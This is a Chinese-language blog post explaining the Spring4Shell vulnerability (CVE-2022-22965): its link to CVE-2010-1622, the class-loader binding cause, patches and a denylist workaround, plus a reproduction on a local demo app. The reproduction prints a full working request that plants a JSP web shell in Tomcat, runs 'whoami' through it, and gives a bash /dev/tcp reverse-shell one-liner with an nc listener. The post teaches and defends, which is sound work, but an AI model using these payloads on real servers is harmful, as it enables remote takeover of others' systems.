文章首发于:菠萝的博客 - log4j 漏洞的好搭档 Spring4Shell
各位,今天来跟大家说一下 Spring4Shell 这个漏洞,这个漏洞可能大家都已经听过,但是!它其实也有前世今生的,并不是突然的出现。
1. 漏洞的前世今生
1.1 曾经的名字:CVE-2010-1622
这个漏洞在 2010 年其实就已经出现过一次,那个时候它的名字叫:CVE-2010-1622,而这次的 CVE-2022-22965 和 CVE-2010-1622 暴雷的代码块也是在同一个地方。
在这次 Spring4Shell 漏洞最早被发现是 2022 年 3 月 31 号的 vmware 的一篇博客:CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+,在这篇博客当中,介绍了这个漏洞会被触发的前提条件:
These are the prerequisites for the exploit:
- JDK 9 or higher(JDK 9 以上版本)
- Apache Tomcat as the Servlet container (servlet 容器:tomcat)
- Packaged as WAR (打包类型为 WAR 包)
- spring-webmvc or spring-webflux dependency (包含 Spring-webmvc 或者 spring-webflux 依赖)
1.2 最佳拍档 log4j 漏洞
可以说现在 Spring + Tomcat + WAR 的组合仍然是很多的,又因为前段时间 log4j 的漏洞很多公司升级 JDK 到 JDK9 以上,导致这个漏洞在各个公司遍地开花。
在 vmware 发出这个博客不久,Spring 就有了专门的一个页面来跟进这个漏洞:Spring Framework RCE, Early Announcement,在这个页面中更加详细的说明了本次 CVE-2022-22965 影响到的范围。
接着就是 CISA(美国网络安全和基础设施安全局)将这个漏洞添加到其基于“主动利用证据”的已知利用漏洞目录中。这是他们官方发布的消息 Spring Releases Security Updates Addressing "Spring4Shell" and Spring Cloud Function Vulnerabilities
再接着时间点来到漏洞爆出的第一个周末,Check Point 就提到在 4 月 2 号一个周末就检测到了 37000 次 Spring4Shell 攻击。
Check Point,为一家软件公司,全称 Check Point 软件技术有限公司,成立于 1993 年,总部位于以色列特拉维夫,全球首屈一指的 Internet 安全解决方案供应商。
漏洞利用的地区分布方面,欧洲以 20% 的高居榜首
最受影响力的行业是软件供应商,其中 28%的组织受到漏洞的影响
当然你可以通过这个链接找到 Check Point 报道的更加详细的信息:16% of organizations worldwide impacted by Spring4Shell Zero-day vulnerability exploitation attempts since outbreak
到现在为止我相信还是有很多的在线服务没有进行修复,因为这个漏洞远不如 log4j 的那个影响传播广泛。正因为如此我们更需要注意到这个漏洞,它是可以直接通过扫描器被发现的,而在阿里云-2019 年上半年 Web 应用安全报告中提到 90% 以上攻击流量来源于扫描器。
2. 漏洞成因以及修复
以下内容会用到的项目已经放在 github 上:spring4shelldemo
聊完了到现在为止这个漏洞的进展,作为一个程序员追本溯源的精神,我们扒一下这个漏洞在代码中干了一些什么,为什么 JDK9 以上版本才会出现。
但在这之前我们需要知道 CVE-2010-1622 成因。
2.1 CVE-2010-1622 成因
在 2010 年,JDK8 的时代已经有了 SpringMVC,我们可以通过定义 Java bean 对象解析用户的请求实现用户提交的参数和类中的参数进行绑定,进行赋值。如下所示:
定义 Bean 对象,ShoppingCart 购物车
package run.runnable.spring4shelldemo.entity;
/**
* @author Asher
* on 2022/4/17 */public class ShoppingCart {
private Integer userId;
private Long total;
public Integer getUserId() {
return userId;
}
public void setUserId(Integer userId) {
this.userId = userId;
}
public Long getTotal() {
return total;
}
public void setTotal(Long total) {
this.total = total;
}
@Override
public String toString() {
return "ShoppingCart{" +
"userId=" + userId +
", total=" + total +
'}';
}
}
然后在 Controller 中我们写一个方法,用来查询某个用户的购物车中金额价格
package run.runnable.spring4shelldemo.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import run.runnable.spring4shelldemo.entity.ShoppingCart;
import java.util.Map;
/**
* @author Asher
* on 2022/4/17 */@Controller
public class ShoppingCartController {
private final static Logger logger = LoggerFactory.getLogger(ShoppingCartController.class);
@RequestMapping(value = "/total", method = RequestMethod.POST)
@ResponseBody
public ShoppingCart total(@RequestParam Map<String, String> requestparams, ShoppingCart shoppingCart) {
String userId = requestparams.get("userId");
logger.info("userId:{}", userId);
//query from DB
Long total = 100L;
shoppingCart.setTotal(total);
return shoppingCart;
}
}
当我们通过 postman 或者其他工具进行请求的时候,可以通过 form 表单进行提交,这样在 total
这个方法当中会自己把 userId
和 ShoppingCart
对象进行绑定,注入 userId
这个值
在上面这个截图可以清楚的看到 ShoppingCart
中 userId
属性已经有了对应的 value,这是因为在这个自动的过程中 Spring 会自动发现 ShoppingCart
对象中的 public 方法和字段,如果 ShoppingCart
中出现 public 的一个字段,就自动绑定,并且允许用户提交请求给他赋值。
正是因为我们的 ShoppingCart
类中存在:
public void setUserId(Integer userId) {
this.userId = userId;
}
在 Spring 自动检索后,将我们传递的值绑定在 userId
上
当你了解到上面的操作再来说漏洞的原因就会更加的理解了,在 Java 对象中,对象存在对应的类对象,例如 ShoppingCart
的类对象就是 ShoppingCart.class
,类对象中有类加载器,这个类加载器负责了 Java对象的类的
加载流程,而在加载的这一个过程当中 JVM 要完成 3 件事:
- 通过一个类的全限定名来获取定义此类的二进制字节流。
- 将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。
- 在 Java 堆中生成一个代表这个类的 java.lang.Class 对象,作为方法区这些数据的访问入口。
关键点来了 JVM 它并没有限定二进制流从哪里来,那么我们可以用系统的类加载器,也可以用自己的方式写加载器来控制字节流的获取。
- 从 class 文件来-> 一般的文件加载
- 从 zip 包中来-> 加载 jar 中的类
- 从网络中来->Applet
这里顺便说一句,rpc 框架远程调用就是这么实现的。
回到类加载器,假设在 Spring 框架中我们使用类加载器加载了原本不属于这个系统的 class,并且执行了这个 class 当中的方法,不就意味着渗透成功了吗!这就是 CVE-2010-1622 漏洞的成因。
当我们在请求中带上 class.classloader=com.xxx.xxx.class
时,竟然可以控制 Spring 中的 classLoader。不过在上次的漏洞修复中,Spring 在 CachedIntrospectionResultsc.class
中添加了如下代码进行修复。
如果请求是 class 对象,并且请求属性时 classLoader 时,则会进行跳过
2.2 CVE-2022-22965 成因
在上述问题修复之后,2017 年 9 月 21 日 Java9 终于发布了,引入了新特性 模块化 Jigsaw,在这个新特性中 java.lang.Class
对象中添加了 getModule
方法可一个对应的对象 module
我们可以看看它的注释:
Returns the module that this class or interface is a member of. If this class represents an array type then this method returns the Module for the element type. If this class represents a primitive type or void, then the Module object for the java.base module is returned. If this class is in an unnamed module then the unnamed Module of the class loader for this class is returned.
Returns:
the module that this class or interface is a member of
说的是返回这个 class 或者 interface 的 module,如果这个 class 是 array 类型,此时这个方法返回这个 Module 的选择器类型。如果这个 class 是原始类型或者 void,那么将返回 java.base 模块的 Module 对象,如果这个类是一个未命名的模块中,那么将返回这个未命名模块的类加载器
这就意味着在 Module 对象中又存在一个 loader
变量和 getClassLoader()
方法,导致用户可以通过 ShoppingCart.class.getModule().getClassLoader()
获取 classLoader
再次造成漏洞。
通过 Module
可以获取 Web Context 上下文环境的 ClassLoader
对象。
所以如果我们对请求添加 class.module.classLoader
的参数就可以绕过之前修复的代码。
POST http://localhost:8080/spring4shelldemo_war/total
Header:
Content-Type:application/x-www-form-urlencoded
suffix:%>//
c1:Runtime
c2::<%
RequestBody:
class.module.classLoader.resources.context.parent.pipeline.first.pattern:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix:.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory:webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix:tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat:
header 里面的值是需要的, RequestBody 中 %i
这个语法是从请求的 header 里面拿 xxx,请求之后就会在 tomcat 的 Root 目录下生成一个 jsp 文件
这里需要注意的是,如果你也使用的是 IDEA 启动,那么生成的文件夹并不是在你下载的 tomcat 配置目录下,而是在临时目录下,也就是启动时会打印的这个目录
2.3 漏洞修复
这个漏洞的修复在上面提到的 Spring 页面中也说的很清楚了:Spring Framework RCE, Early Announcement
2.3.1 首选办法
首选响应是更新到 Spring Framework 5.3.18 和 5.2.20 或更高。
2.3.2 升级 tomcat
升级到 Apache Tomcat 10.0.20, 9.0.62, or 8.5.78,但这只是一种紧急的修复手段,主要目标应该是尽快升级到目前支持的 Spring 框架版本。
2.3.3 回退到 Java8
不过你需要注意前段时间抛出 log4j 的漏洞,参考:集成了 log4j 的 SpringBoot 下的漏洞复现
2.3.4 禁用属性
另一个可行的解决方法是通过在 WebDataBinder
上全局设置 disallowedFields
来禁止对特定字段的绑定。
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
3. 漏洞影响
3.1 检测是否存在漏洞
在 github 已经有很多的工具检测这个漏洞,所以这里只介绍一种开箱即用的 spring4shell-scan
使用 git 下载之后,使用 ./spring4shell-scan.py -h
可以查看帮助菜单
使用-u 命令可快速检测某个 url 是否存在漏洞,例如:
python3 spring4shell-scan.py -u http://localhost:8080/spring4shelldemo_war/total
当发现漏洞时会有输出
当然里面还检测文本中的多个 url,这里就不赘述了,感兴趣的大家可以看看
3.2 利用漏洞实现反弹 shell
因为我们很多服务器都是 linux,那么稍微将上面的请求改改,就可以实现反弹 shell。
反弹 shell(Reverse Shell): 控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。
3.2.1 漏洞复现 + 搭建靶场
这里对 IDEA 的这个项目进行打包,如果直接在 IDEA 当中进行启动无法访问到生成的 jsp 文件。
然后放在 tomcat 的 webapp 目录下,启动 tomcat 之后就会进行自动解压
启动之后我们进行访问试试,是 ok 的。
然后我们通过传入异常参数:
http://localhost:8080/spring4shelldemo/total
headers:
Content-Type:application/x-www-form-urlencoded
suffix:%>//
c1:Runtime
c2:<%
requestBody:
class.module.classLoader.resources.context.parent.pipeline.first.pattern:%{c2}i if("S".equals(request.getParameter("Tomcat"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix:.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory:webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix:Shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat:
请求之后我们去 tomcat 的 webapp 目录下看,发现已经多了一个 ROOT 的目录
点进去然后打开生成的 Shell.jsp
在浏览器直接对这个文件进行访问并且执行命令,可以看到竟然打印了当前命令执行的用户
http://localhost:8080/Shell.jsp?Tomcat=S&cmd=whoami
为什么 cmd 后面的命令会被进行执行,原因就在于生成的那个 jsp 文件,我们打开看看。
在这个 jsp 文件中,通过 requestParam 直接将代码进行了注入,传递到了 Shell.jsp 文件中,对应的请求中的参数是:class.module.classLoader.resources.context.parent.pipeline.first.pattern
我们都知道 Java 的 jsp 文件其实就是一个特殊的 servlet
,可以执行任何代码,在上古时代还有人在 jsp 文件中写操作数据库的代码。
3.2.2 反弹 shell 操作
因为在浏览器执行各种命令是非常不方便的,此时我再设置了一台带有公网 IP 的服务器,在这台公网服务器上安装了反弹 shell 的工具 nc
,简单到直接 yum install nc
就行,
然后公网服务器:nc -lvp 32767
这个命令的意思是开启 32767 的端口监听
然后我们对这台有漏洞的机器传入命令
bash -i >& /dev/tcp/公网服务器ip/32767 0>&1
此时你就在那台公网服务器上获得了这台跑着 Spring4Shell 漏洞代码电脑的终端输出。
4. 总结
这个漏洞不得不说和 log4j 的漏洞配合的太好了,log4j 漏洞刚刚爆出不久,很多人都升级 JDK 到 9 以上,然后又爆出这个漏洞,打得很多人措手不及。
以及让我意识到当 JDK 升级带来新特性的时候,某些新特性会诞生很多伟大的项目让人惊叹,但是带来的潜在的漏洞也是达摩克利斯之剑。
同时保持网络和数据资产安全并不只是安全团队和黑客之间永无休止的战斗。我们程序员写下的每一行代码也是支撑起整个系统的关键,每个开源项目中最容易被攻击的部分也一定是其中的短板。
5. 参考链接
Spring Framework RCE, Early Announcement
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
16% of organizations worldwide impacted by Spring4Shell Zero-day vulnerability exploitation attempts since outbreak
Spring Releases Security Updates Addressing "Spring4Shell" and Spring Cloud Function Vulnerabilities
github - spring4shell-scan
https://github.com/fullhunt/spring4shell-scan
Spring-RCE(CVE-2022-22965)的前世今生
https://blog.csdn.net/include_voidmain/article/details/124038228
阿里云-2019 年上半年 Web 应用安全报告.pdf
详细深入分析 Java ClassLoader 工作机制
https://segmentfault.com/a/1190000008491597
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于